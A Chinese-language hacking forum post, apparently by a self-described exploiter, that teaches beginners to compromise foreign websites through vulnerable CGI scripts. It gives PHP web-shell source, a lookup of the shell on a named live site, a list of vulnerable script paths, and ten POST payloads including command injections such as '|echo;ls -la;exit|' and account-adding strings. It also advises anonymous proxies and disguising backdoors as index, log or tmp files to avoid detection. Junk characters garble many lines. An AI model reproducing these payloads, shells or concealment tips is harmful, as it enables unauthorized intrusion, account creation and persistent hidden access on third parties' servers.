CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
& W' M& E, L3 E0 C大家好 我是bboyhip  只是一名菜菜的exploiter
4 Z, ~- X+ O8 u4 n1 j' Y, b9 h  m很开心来到贵论坛
: b( L* ^$ p2 N: y! s6 F这里让我感觉 很有技术交流的感觉
我会长长来玩的
' e' _. [8 h! j, ^6 Q" f4 @* g8 I前言:
" K3 P4 g  K* o& q" ?- f$ p以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
7 m/ l, ^* D/ p  L4 K/ B& {所以有很多网站程序有6成都会使用cgi 脚本来管理
8 @3 X3 c' A3 G1 C( h& R8 i目录为/cgi-bin/

) G- v2 A7 f" ]只是个人在实务上一些经验
9 R& `8 {, @9 [0 ?% |写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
( r5 X* J7 z4 y  @1 K2 n讲解一下
$ `% n4 u8 T* K0 b7 q! L: Y让没有基础的人很容易上手

以下内容跟帖回复才能看到
5 h- u' t7 N% A; v6 G==============================
! ]+ @8 D: J& z4 _! _0 r9 M7 A( T9 ]
1 x: f* M/ h# |' [  _( o; J第1部份: 何谓Shell?
+ C7 J3 G2 B, F% BShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
0 _/ n# T! Y/ g& u- ~* Q) R意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
2 Y. N1 _3 v  E  i" F% A
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
$ t- h* W" D4 i要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
( v+ _$ j2 P5 v8 t1 c* G
第2部份: Unix 指令
以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
+ t- \% |' A+ t如 /home/www/site.com/cgi-bin/
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
/ b6 Q# r" }) w8 ~6 c2 Els /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
2 f, O* _7 v* c  ~% t4 f8 bls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
- J& G1 q  ]5 H! v- j. k; zcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
6 s8 p% S9 M( t6 o, ^) X1 x# C& Kcat /etc/passwd: 显示 /etc/passwd 这个档案的内容
( G' ]- G2 {! q1 N/ ~who: 显示谁login 至系统
man: 显示指令用法  
man ls: 显示ls这指令的用法  
mkdir 建立目录
9 c) t" m' w% X6 {: i1 _! ^$ v* Rrmdir 删除目录
mv 移动档案
. i9 y( z3 A5 s% f- zrm 删除档案

第3部份: Shell的使用
例如:
: e7 x+ J. Z, _: c, {1 \, A" Rhttp://site.com/refer.php
这是我的後门, 原代码如下:
& P) p' v/ m, V: {<Form Action="#" Method="POST">
<Input type="text" name="cmd">
<Input type="Submit">
</Form>
/ M  h/ q, H- ^& J  y& W<?php
$cmd = $_POST['cmd'];
" w. j) o8 [4 F) H& I$Output = shell_exec($cmd);
echo $Output;
?>
( B8 v- j- e4 }; M- t9 x输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
9 `# c" I& z3 C% u; y: v7 H
第4部份: 注意事项
- 使用匿名代理, 保障自己
9 y9 Y8 P) M. b5 P- z& p- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
! w, [5 s# `: v9 v6 t( A0 @( |- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
7 c9 C  S. K# M0 g- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
) K9 R; }, s. @% L针对网站的渗透分析方法太多了
这篇文章的重点是cgi 脚本攻击
0 }3 P1 h: T, {2 b所以我用简单的叙述形容
开始讲解脚本入侵过程:
: H7 d6 W: T. s2 X: o  w" z, f% `: f在这里提供一些方法思路让大家学习一下

$ O) T. A, h; v2 P1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
  k7 S5 J4 |( o扫洞工具 如:triton..等等
E表
+ S4 B* I9 T" L/ a7 L: T2 H0 i如
/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
6 m0 [6 }( g2 I3 ?1 R8 k: i/Admin_files/order.log
$ O0 {$ G  U% q/orders/mountain.cfg
/cgi-sys/cart.pl
4 |; _0 \% \; j4 _: y) K$ F. y% t/scripts/cart.pl
( R% b- ]( J' g( e$ U/htbin/cart.pl
E表来源可以是网路收寻或是自己的0 day

2.怎样确认扫到的洞 是真的还假的?
- V/ j) a: T7 z5 y举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
1 ?' r% m) D, z, @ERROR:This script should be referenced with a METHOD of POST.
% D4 h3 F! U% k没有返回一定是假的
: ]; y) l( l& g0 n6 X5 J3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
; T7 c9 q* m5 L  y$ l/ |0 J" q我们要找post 的方法很多
可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等

以下我提供10个 cgi 洞以及使用方法post
5 |) L. B% ]5 ^+ E' r* c1 f让大家可以针对网站去做扫描  
/index.cgi
wei=ren&gen=command
/passmaster.cgi
Action=Add&Username=Username&Password=Password
7 q/ v' m' ~2 R( g) R: U0 b( T- w/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
/form.cgi
$ |% Z& `, s. Aname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
/ccbill-local.asp
post_values=username:password
% @# @$ S/ u5 I/ b7 o, c/count.cgi
pinfile=|echo;ls -la;exit|
/recon.cgi
/recon.cgi?search
* W9 {- z% E& ^, R, Q1 rsearchoption=1&searchfor=|echo;ls -al;exit|
! ^- ]+ @$ p6 e8 V# _0 z( d/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|

今天就讲到这  感谢大家支持
3 x( j4 `5 T4 R  @